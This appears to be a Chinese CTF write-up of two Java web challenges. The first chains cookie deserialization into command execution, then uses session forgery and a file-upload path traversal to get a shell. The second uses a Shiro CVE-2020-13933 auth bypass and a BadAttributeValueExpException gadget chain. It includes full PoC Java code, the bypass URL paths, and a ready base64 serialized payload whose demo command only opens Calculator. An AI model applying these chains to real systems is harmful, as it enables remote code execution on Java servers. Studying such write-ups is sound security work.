先过了一遍源码,看了一下功能
showpic.form?file=
有类似于文件包含的功能
uploadpic.form
可以上传文件,但是需要session中group为webmanager
Tools.class
有序列化与反序列化功能,其中Tools
自己这个类可被序列化,并且实现了readObject方法还有个危险函数ProcessBuilder((String[])obj)).start()
题目正常功能是对ClientInfo
类存取session内容进行序列化反序列化,但是这个cinfo
内容根据代码逻辑来看实际上是用户可控的
然后看到Tools
类和ClientInfo
类的serialVersionUID
相同,为反序列化Tools
类创造了条件
通过ClientInfoFilter
类中调用Tools.parse
对传入cookie内容直接进行反序列化的漏洞,加上Tools
类中有ProcessBuilder((String[])obj)).start()
函数可以执行命令,以及serialVersionUID
相同,我们可以直接构造序列化Tools
类,然后修改cookie,触发反序列化漏洞达成命令执行
注意ProcessBuilder
传入的是String[]
,我们可以直接本地构造Tools
类,注意testCall[]的public属性,或者直接在类中初始化命令也可:
public class Tools implements Serializable {
private static final long serialVersionUID = 1L;
public static Object parse(byte[] bytes) throws Exception {
......
}
public String testCall[];
public static byte[] create(Object obj) throws Exception {
......
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
......
}
//public String testCall[] = {"bash","-c","open /System/Applications/Calculator.app"};
}
然后Poc:
import com.tools.Tools;
import java.util.Base64;
public class Poc {
public static void main(String[] args) throws Exception {
Tools evil = new Tools();
String cmd[] = {"bash","-c","open /System/Applications/Calculator.app"};
evil.testCall = cmd; // 这里我们前面修改了public属性所以可以直接改
byte[] bytes = Tools.create(evil);
Base64.Encoder encoder = Base64.getEncoder();
System.out.println(encoder.encodeToString(bytes));
}
}
然后得到base64后的序列化值修改cookie后触发弹计算器:
上传需要group为webmanager,但是我们可以伪造session:
然后就可以正常上传文件了,文件上传没有检测,上传目录是WEB-INF/resource/
,但是文件包含showpic.form?file=
当文件后缀为jsp时,工作目录是WEB-INF/
且无法路径穿越,所以尝试上传时路径穿越:
然后利用文件包含执行拿shell
运行起来是个登录页面,所以首先看到LoginController.class
的LoginController
,发现使用shiro的AuthenticationToken
来认证用户名密码,百度了解了一下:
继续看到在MyRealm.class
重写了doGetAuthenticationInfo
,判断用户名为admin,密码随机生成
IndexController.class
对cookie进行了序列化反序列化操作MyFilter.class
、AllFilter.class
、IAllFilter.class
对url进行解析但是这里出现了一个问题,shiro-1.5.3
版本存在CVE-2020-13933
权限绕过,具体原理主要是shiro
层在处理url
上和spring
上存在差异,主要是在处理;
上的问题,通过构造含有;
符号的url
即可绕过shiro
在权限上的处理
这道题对url的处理基本与CVE-2020-13933
一致,所以可以使用以下path绕过
/index/%3b/admin
/index/'/admin
/index/select/admin
/index/union/admin
看到展示了访问日志,并没有其他功能,继续审计源码
Tools
类的exeCmd
实现了命令执行:
LogHandler
类的invoke
方法和toString
方法分别都调用了exeCmd
实现了写日志和读日志功能
现在命令执行的点和反序列化的点都找到了,剩下就是需要找到一条将其连起来的利用链
在之前在cc链中注意到一个能触发toString
的类BadAttributeValueExpException
,它重写的readObject
函数会自动调用类属性的toString
方法
这个BadAttributeValueExpException
是原生类,jdk8下可以使用,不需要考虑环境问题
需要注意这里System.getSecurityManager
为空,就是当前的jvm环境不能启用安全管理器
利用链:
BadAttributeValueExpException.readObject()
-> valObj.toString() -> LogHandler.toString()
-> Tools.exeCmd()
模仿cc5中BadAttributeValueExpException
的用法,完成调用链
构造poc:
//Poc.java
import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import com.ctf.javaweb.tools.LogHandler;
import com.ctf.javaweb.tools.Tools;
public class Poc {
public static void main(String[] args) throws Exception{
LogHandler logHandler = new LogHandler();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, logHandler);
String datas = Tools.base64Encode(Tools.serialize(badAttributeValueExpException));
System.out.println(datas);
}
}
//com/ctf/javaweb/tools/LogHandler.java
package com.ctf.javaweb.tools;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.HashSet;
public class LogHandler extends HashSet implements InvocationHandler {
private static final long serialVersionUID = 1L;
private Object target;
private String readLog = "open /System/Applications/Calculator.app";
private String writeLog = "echo /test >> /tmp/accessLog";
public LogHandler() {}
public LogHandler(Object target) {
this.target = target;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
return method.invoke(this.target, args);
}
public String toString() {
return Tools.exeCmd(this.readLog);
}
}
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAACXQAA2FwcHQAA1BvY3QACFBvYy5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyACBjb20uY3RmLmphdmF3ZWIudG9vbHMuTG9nSGFuZGxlcgAAAAAAAAABAgADTAAHcmVhZExvZ3EAfgAFTAAGdGFyZ2V0cQB+AAFMAAh3cml0ZUxvZ3EAfgAFeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAAAeHQAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHBwdAAcZWNobyAvdGVzdCA+PiAvdG1wL2FjY2Vzc0xvZw==
修改cookie的userinfo
字段,刷新页面